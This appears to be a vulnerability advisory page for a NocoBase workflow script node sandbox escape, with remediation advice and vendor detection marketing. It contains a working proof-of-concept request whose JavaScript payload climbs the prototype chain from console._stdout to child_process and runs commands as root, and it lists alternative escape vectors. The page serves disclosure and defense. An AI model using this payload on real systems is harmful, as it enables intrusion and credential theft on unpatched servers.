GHSA-px3p-vgh9-m57c
CRITICALNocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@nocobase/plugin-workflow-javascriptReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
## Summary
NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.
An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.
Exploit Chain
console._stdout.constructor.constructor→ host-realmFunctionconstructorFunction('return process')()→ Node.jsprocessobjectprocess.mainModule.require('child_process')→ unrestricted module loadingchild_process.execSync('id')→ RCE as root
This completely bypasses the customRequire allowlist.
Impact
- Remote Code Execution as root (uid=0) inside Docker container
- Database credential theft (
DB_PASSWORD,INIT_ROOT_PASSWORDfromprocess.env) - Arbitrary file read/write via
require('fs') - Reverse shell confirmed
- Outbound network access for lateral movement
Proof of Concept
HTTP Request:
POST /api/flow_nodes:test Authorization: Bearer <JWT_TOKEN> Content-Type: application/json
{ "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }
Response:
{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}
Environment
- Docker image:
nocobase/nocobase:latest - NocoBase CLI: v2.0.26
- Node.js: v20.20.1
- OS: Debian GNU/Linux 12 (bookworm)
PoC
Got reverse shell
<img width="1300" height="743" alt="Screenshot 2026-03-26 at 06 09 51" src="https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e" />Proof of concept the root privileges
<img width="1292" height="515" alt="Screenshot 2026-03-26 at 06 12 29" src="https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50" />os-release demonstration
<img width="1290" height="523" alt="Screenshot 2026-03-26 at 06 12 54" src="https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00" /> <img width="1296" height="516" alt="image" src="https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b" />App path
<img width="1295" height="516" alt="Screenshot 2026-03-26 at 06 14 04" src="https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245" />Exploit Usage:
Reverse Shell Mode
<img width="1299" height="523" alt="tool1" src="https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569" />Dump system information & creds
<img width="635" height="591" alt="tool2" src="https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8" />Remote Command Execution Mode
<img width="644" height="467" alt="tool3" src="https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec" />Remediation
- Replace Node.js
vmmodule withisolated-vmfor true V8 isolate separation - Do not pass the host
consoleobject into the sandbox; create a clean proxy - Run the application as a non-root user inside Docker
- Restrict
/api/flow_nodes:testto admin-only roles
Alternative Escape Vectors
console._stderr.constructor.constructor(identical chain via stderr)Error.prepareStackTrace+CallSite.getThis()(V8 CallSite API)
Reporter
Onurcan Genç — Independent Security Researcher, Bilkent University
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nocobase/plugin-workflow-javascript | all versions | 2.0.28 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
NocoBase 2.0.27 - VM Sandbox Escape
by onurcangencbilkent · May 7, 2026
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nocobase/plugin-workflow-javascript. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @nocobase/plugin-workflow-javascript to 2.0.28 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-px3p-vgh9-m57c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-px3p-vgh9-m57c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-px3p-vgh9-m57c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-px3p-vgh9-m57c in your dependencies?
O3 detects GHSA-px3p-vgh9-m57c across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.